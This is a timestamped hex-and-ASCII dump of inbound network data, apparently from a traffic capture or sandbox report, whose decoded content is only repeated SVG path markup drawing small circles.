2023-05-31 12:52:13 UTC	7753	IN	Data Raw: 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 34 2c 31 39 32 2e 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 31 2e 31 33 2c 31 38 34 2e 38 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 Data Ascii: 3.32"></path><path class="cls-9" d="M331.4,192.9a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"></path><path class="cls-9" d="M331.13,184.83a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8
2023-05-31 12:52:13 UTC	7769	IN	Data Raw: 36 37 2c 32 37 32 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 36 2e 36 39 2c 32 36 34 2e 34 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 Data Ascii: 67,272.57a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.19,3.33"></path><path class="cls-9" d="M366.69,264.49a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.63,2.63,0,0,1,3
2023-05-31 12:52:13 UTC	7785	IN	Data Raw: 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2e 32 35 2c 33 34 34 2e 31 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 32 2c 33 33 36 2e 30 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 Data Ascii: ,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M402.25,344.16a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M402,336.08a2,2,0,0,1-.9,2.6,2
2023-05-31 12:52:13 UTC	7801	IN	Data Raw: 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 31 2e 36 37 2c 31 38 39 2e 38 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 Data Ascii: -3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M421.67,189.85a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><pa
2023-05-31 12:52:13 UTC	7817	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2e 32 33 2c 32 36 39 2e 35 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 35 37 2c 32 36 31 2e 34 34 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c Data Ascii: "></path><path class="cls-9" d="M457.23,269.51a2,2,0,0,1-.9,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M457,261.44a2,2,0,0,1-.91,2.6,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,
2023-05-31 12:52:13 UTC	7833	IN	Data Raw: 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 35 32 2c 33 34 31 2e 31 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 39 32 2e 32 35 2c 33 33 33 61 32 2c 32 2c 30 2c 30 Data Ascii: ,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M492.52,341.1a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"></path><path class="cls-9" d="M492.25,333a2,2,0,0
2023-05-31 12:52:13 UTC	7849	IN	Data Raw: 32 2e 38 2c 30 2c 30 2c 31 2c 35 30 38 2c 31 39 33 61 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2c 31 38 36 2e 37 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: 2.8,0,0,1,508,193a2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"></path><path class="cls-9" d="M512,186.79a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M
2023-05-31 12:52:13 UTC	7865	IN	Data Raw: 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 35 31 2c 32 36 36 2e 34 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 37 2e 32 34 2c 32 35 38 2e 33 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 Data Ascii: 33"></path><path class="cls-9" d="M547.51,266.46a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M547.24,258.38a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.8
2023-05-31 12:52:13 UTC	7881	IN	Data Raw: 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 32 2e 38 2c 33 33 38 2e 30 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class="cls-9" d="M582.8,338.05a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path
2023-05-31 12:52:13 UTC	7897	IN	Data Raw: 33 38 2c 33 37 2e 37 35 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 33 2e 31 33 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2e 31 36 2c 33 31 2e 32 37 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 38 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c Data Ascii: 38,37.75a1.61,1.61,0,0,1-.72,2.09,2.37,2.37,0,0,1-3.13-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M333.16,31.27a1.59,1.59,0,0,1-.72,2.08,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.47-2.69,2.1,2.1,0,
2023-05-31 12:52:13 UTC	7913	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 37 2c 39 35 2e 32 61 31 2e 35 39 2c 31 2e 35 39 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 38 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 31 2e 34 38 2c 38 38 2e 37 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c Data Ascii: .67"></path><path class="cls-9" d="M361.7,95.2a1.59,1.59,0,0,1-.73,2.08,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M361.48,88.71a1.6,1.6,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,
2023-05-31 12:52:13 UTC	7929	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 30 2c 31 35 32 2e 36 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 39 2e 38 2c 31 34 36 2e 31 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c Data Ascii: ,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M390,152.64a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M389.8,146.16a1.61,1.61,0,0,1-.73,
2023-05-31 12:52:13 UTC	7945	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 36 31 2c 32 38 2e 38 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 30 35 2e 33 Data Ascii: .24,0,0,1,.48-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.61,28.81a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"></path><path class="cls-9" d="M405.3
2023-05-31 12:52:13 UTC	7961	IN	Data Raw: 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 34 33 30 2e 33 2c 39 34 61 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 33 33 2e 39 33 2c 38 36 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: 34,2.34,0,0,1,430.3,94a2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M433.93,86.26a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2,0,0,1,.15,2.68"></path><
2023-05-31 12:52:13 UTC	7977	IN	Data Raw: 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 36 32 2e 32 35 2c 31 34 33 2e 37 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c Data Ascii: ,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"></path><path class="cls-9" d="M462.25,143.71a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,
2023-05-31 12:52:13 UTC	7993	IN	Data Raw: 73 2d 39 22 20 64 3d 22 4d 34 37 38 2e 30 35 2c 32 36 2e 33 36 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 32 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 37 2e 38 34 2c 31 39 2e 38 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e Data Ascii: s-9" d="M478.05,26.36a1.6,1.6,0,0,1-.72,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M477.84,19.88a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.
2023-05-31 12:52:13 UTC	8009	IN	Data Raw: 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 33 37 2c 38 33 2e 38 31 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 30 36 2e 31 35 2c 37 37 2e 33 33 61 31 2e 36 2c 31 2e 36 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 Data Ascii: .67"></path><path class="cls-9" d="M506.37,83.81a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"></path><path class="cls-9" d="M506.15,77.33a1.6,1.6,0,0,1-.73,2.09,2.36,2.36,0,0,1-3.12-.88
2023-05-31 12:52:13 UTC	8025	IN	Data Raw: 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 36 39 2c 31 34 31 2e 32 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 34 2e 34 37 2c 31 33 34 2e 37 38 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 31 